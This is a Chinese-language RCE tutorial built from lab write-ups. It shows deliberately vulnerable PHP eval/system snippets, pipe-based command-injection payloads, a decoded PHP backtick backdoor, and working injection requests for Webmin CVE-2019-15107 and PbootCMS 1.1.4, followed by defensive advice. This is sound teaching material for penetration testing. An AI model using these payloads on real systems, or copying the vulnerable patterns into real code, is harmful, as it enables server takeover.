在 Web 安全领域,远程代码 / 命令执行(RCE)漏洞始终是高危漏洞的 "重灾区",一旦被攻击者利用,即可直接获取服务器的控制权限,进而窃取数据、植入后门、控制整个服务器集群。本文将从 RCE 的基础定义出发,结合墨者学院靶场实战、PbootCMS 漏洞复现,带你完整掌握 RCE 漏洞的原理、利用与防御体系。
一、什么是 RCE 漏洞?
所谓 RCE 漏洞,即Remote Code/Command Execution,也就是远程代码执行与远程命令执行漏洞的统称。
在很多 Web 应用中,开发人员会使用一些特殊函数,这些函数可以将输入的字符串当作代码或者系统命令来执行。当用户可以完全控制这些函数的输入内容时,就会产生 RCE 漏洞,攻击者可以借此在目标服务器上执行任意的代码或命令。
1.1 远程代码执行(Remote Code Execution)
远程代码执行,指的是攻击者可以在目标服务器上执行任意的 PHP/Java 等应用层代码。最典型的例子就是eval()函数的滥用:
<?php
$code=$_GET['x'];
eval($code);
?>
在这段代码中,用户通过 GET 参数x传入的内容,会被直接当作 PHP 代码执行。比如攻击者访问http://localhost/1.php?x=phpinfo();,就可以直接执行 phpinfo 函数,查看服务器的配置信息;甚至可以传入x=system('whoami');,直接执行系统命令。
1.2 远程命令执行(Remote Command Execution)
远程命令执行,指的是攻击者可以直接在目标服务器的操作系统层面执行任意命令。最典型的例子就是system()这类系统命令执行函数的滥用:
<?php
$code=$_GET['x'];
echo system($code);
?>
这段代码中,用户传入的x参数会被直接当作系统命令执行。比如攻击者访问http://localhost/2.php?x=ipconfig,就可以执行 Windows 的 ipconfig 命令查看网络配置;访问http://localhost/2.php?x=whoami,则可以查看当前的系统用户。
二、为什么要学习 RCE 漏洞?
RCE 漏洞是渗透测试中最核心的漏洞类型之一,掌握它的原理与利用,在多个场景中都有极高的价值:
-
渗透测试 GetShell:在渗透测试中,RCE 漏洞是获取服务器权限最直接的方式,一旦找到 RCE 漏洞,即可直接上传 webshell,控制目标服务器。
-
应急响应溯源:在应急响应中,很多攻击者都是通过 RCE 漏洞入侵服务器,掌握 RCE 的原理,可以帮助我们快速定位攻击入口,还原攻击路径。
-
代码审计挖洞:在代码审计中,RCE 漏洞是最常见的高危漏洞之一,掌握 RCE 的特征,可以帮助我们快速从代码中定位危险函数,挖掘潜在的漏洞。
三、公开漏洞利用:墨者学院靶场实战
接下来,我们通过墨者学院的三个实战靶场,来亲手体验 RCE 漏洞的利用过程。
3.1 案例 1:命令注入执行分析
这个靶场的场景是一个 Ping 工具,用户可以输入 IP 地址,服务器会执行 ping 命令来测试连通性。
步骤 1:信息收集
首先,我们访问靶场,输入127.0.0.1进行测试,发现可以正常返回 ping 的结果。这时候我们按 F12 查看响应头,发现服务器是Apache/2.4.7(Ubuntu),说明这是一个 Linux 系统。
步骤 2:绕过前端验证
我们尝试在输入框中输入127.0.0.1|ls,想要通过管道符执行 ls 命令,但是发现前端有验证,不允许输入特殊字符?没关系,前端的验证是可以绕过的,我们可以直接修改 POST 请求的参数。
我们构造请求参数:
iipp=127.0.0.1|ls &submit=Ping
这里的|是 Linux 的管道符,会把前面 ping 命令的输出,作为后面 ls 命令的输入,这样就可以同时执行两个命令,实现命令注入。
步骤 3:获取 Key
执行完 ls 命令后,我们发现当前目录下有一个key_250362016612167.php的文件,这就是我们要找的 Key 文件。接下来我们构造 payload,读取这个文件的内容:
iipp=127.0.0.1|cat key_250362016612167.php &submit=Ping
发送请求后,我们就成功获取到了靶场的 Key:mozhe4d2b4290ab39f24b48427ac5550*,完成通关。
3.2 案例 2:PHP 代码分析溯源
这个靶场的场景是,服务器上被上传了一个加密的一句话木马,我们需要解密这个代码,分析漏洞,然后获取 Key。
步骤 1:解密加密代码
靶场给了我们一段加密的 PHP 代码,修正排版错误后,完整的解密代码如下:
<?php
print(gzinflate(base64_decode("H40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==")));
?>
我们把这段代码保存为本地的 test.php,放在 phpStudy 的 WWW 目录下,然后访问这个文件,就可以解密出原始的代码:
<?php
@error_reporting(0);
echo `$_REQUEST[a]`;;
?>
步骤 2:分析漏洞
解密之后我们发现,这段代码里,$_REQUEST[a]是用户可控的参数,而且被反引号包裹了!在 PHP 中,反引号是执行运算符,PHP 会把反引号里的内容当作系统命令来执行,这就是一个典型的一句话后门!
也就是说,我们可以通过a参数,传入任意的系统命令,让服务器执行。
步骤 3:获取 Key
接下来,我们构造 payload,访问靶场的 f.php 文件,传入 a 参数,读取 Key 文件:
http://靶机地址/f.php?a=cat key_52021515430693.php
访问之后,我们就成功获取到了靶场的 Key,完成通关。
3.3 案例 3:Webmin CVE-2019-15107 漏洞利用
这个靶场是一个公开的高危漏洞:CVE-2019-15107,这是 Webmin 的一个远程命令执行漏洞,影响 Webmin <=1.920 的版本,该漏洞在 2019 年被公开,曾被大量攻击者利用来入侵服务器。
漏洞原理
这个漏洞的成因是,Webmin 的password_change.cgi文件中,对用户传入的old参数没有做任何过滤,直接拼接到了系统命令中执行,导致攻击者可以注入任意的系统命令,而且这个漏洞不需要身份验证,未授权的攻击者就可以利用,危害极大。
步骤 1:Burp Suite 截包
我们打开 Burp Suite,开启拦截功能,然后访问 Webmin 的登录页面,尝试登录,这时候 Burp 就会拦截到登录的 POST 请求。
步骤 2:漏洞测试
我们把拦截到的请求发送到重发模块,然后修改请求的参数,把old参数的值改成test|id,也就是在原来的密码后面,加上管道符,执行 id 命令:
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
发送请求后,我们发现响应里返回了 id 命令的执行结果,说明命令注入成功了!
步骤 3:获取 Key
接下来,我们继续构造 payload,读取根目录下的 key.txt 文件:
user=rootxx&pam=&expired=2&old=test|cat /key.txt&new1=test2&new2=test2
发送请求后,我们就成功获取到了 Key:mozhe4fec742dd32df30a63ee71b2495,完成通关。
四、实战靶场:PbootCMS RCE 漏洞复现
接下来,我们来复现 PbootCMS 1.1.4 版本的 RCE 漏洞,这是一个非常典型的模板标签注入导致的 RCE 漏洞,曾经在大量的网站中被利用。
4.1 靶场搭建
首先,我们下载 PbootCMS 1.1.4 的安装包,解压后,把文件放到 phpStudy 的 WWW 目录下,然后访问安装地址,完成数据库配置和账号设置,就搭建好了我们的测试靶场。
4.2 漏洞复现步骤
步骤 1:注入恶意留言
首先,我们访问 PbootCMS 的在线留言页面,在留言内容中,输入我们的恶意模板标签:
{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
这个标签的意思是,if 的条件是执行 POST 参数 1 的内容,然后输出!!!,用来标记我们的恶意代码。
步骤 2:触发代码执行
提交留言之后,我们访问这个留言所在的页面,也就是http://localhost/pboot/index.php/about/10.html,然后通过 POST 方式,传入参数 1,执行我们想要的代码:
POST http://localhost/pboot/index.php/about/10.html
POST数据:1=phpinfo();
发送这个请求之后,我们就会发现,phpinfo 的内容被成功执行了!这说明我们的 RCE 漏洞利用成功了,我们可以通过修改参数 1 的内容,执行任意的 PHP 代码,甚至执行系统命令,获取服务器的权限。
4.3 漏洞原因分析
为什么会出现这个漏洞呢?我们来做一下代码审计: PbootCMS 的模板引擎中,有一个parserIfLabel函数,用来解析{pboot:if}这个模板标签。在这个函数中,开发人员为了让模板标签支持复杂的条件判断,直接把 if 标签里的条件,通过eval函数来执行,用来判断条件的真假,但是却没有对用户输入的内容做任何的过滤!
也就是说,用户可以在 if 标签里,写入任意的 PHP 代码,当模板引擎解析这个标签的时候,就会直接执行这些代码,这就导致了远程代码执行漏洞。
在代码审计的过程中,我们可以通过审计工具,快速搜索eval、system这类危险函数,就可以快速定位到这个漏洞点,这也是代码审计中挖 RCE 漏洞的常用方法。
五、RCE 漏洞的防御体系
了解了 RCE 的利用之后,我们也要知道,如何防御这类漏洞,避免我们的网站被攻击者利用。
1. 严格过滤用户输入
最核心的原则:永远不要信任用户的输入。 如果业务需要执行系统命令或者代码,一定要对用户的输入做严格的过滤:
-
如果是 IP 地址,就用正则验证是否为合法的 IP 格式,只允许数字和点,不允许其他特殊字符。
-
如果是命令参数,使用白名单机制,只允许用户输入我们预期的参数,不允许任意的输入,避免用户注入恶意的命令。
2. 禁用危险函数
在 php.ini 中,我们可以通过disable_functions来禁用一些危险的函数,比如eval、system、exec、shell_exec、passthru、popen这些,这样即使攻击者利用了漏洞,也无法执行系统命令或者代码,大大降低漏洞的危害。
3. 最小权限原则
Web 服务的运行用户,一定要使用最小权限的用户,不要用 root 或者管理员用户来运行 Web 服务。这样即使攻击者利用 RCE 漏洞获取了 Web 服务的权限,也无法对系统造成更大的破坏,比如无法修改系统配置,无法读取敏感文件。
4. 及时更新补丁
对于公开的漏洞,比如 CVE-2019-15107,一定要及时更新 Webmin 的版本,打上安全补丁,避免被攻击者利用。同时,也要定期检查我们使用的 CMS、框架的版本,及时更新,避免使用存在已知漏洞的旧版本。
课后实践
本次课程的作业,就是在墨者学院中,完成命令注入执行分析 与PHP 代码分析溯源这两个靶场,把你的操作过程和成果整理成文档提交。如果你能把整个过程写成一篇高质量的博客,还会有额外的奖励哦!
写在最后
RCE 漏洞作为 Web 安全中最危险的漏洞之一,掌握它的原理、利用与防御,是每个安全从业者的必修课。希望通过这篇文章,你可以对 RCE 漏洞有一个完整的认识,在实战中能够快速发现、利用和防御这类漏洞,保护我们的系统安全。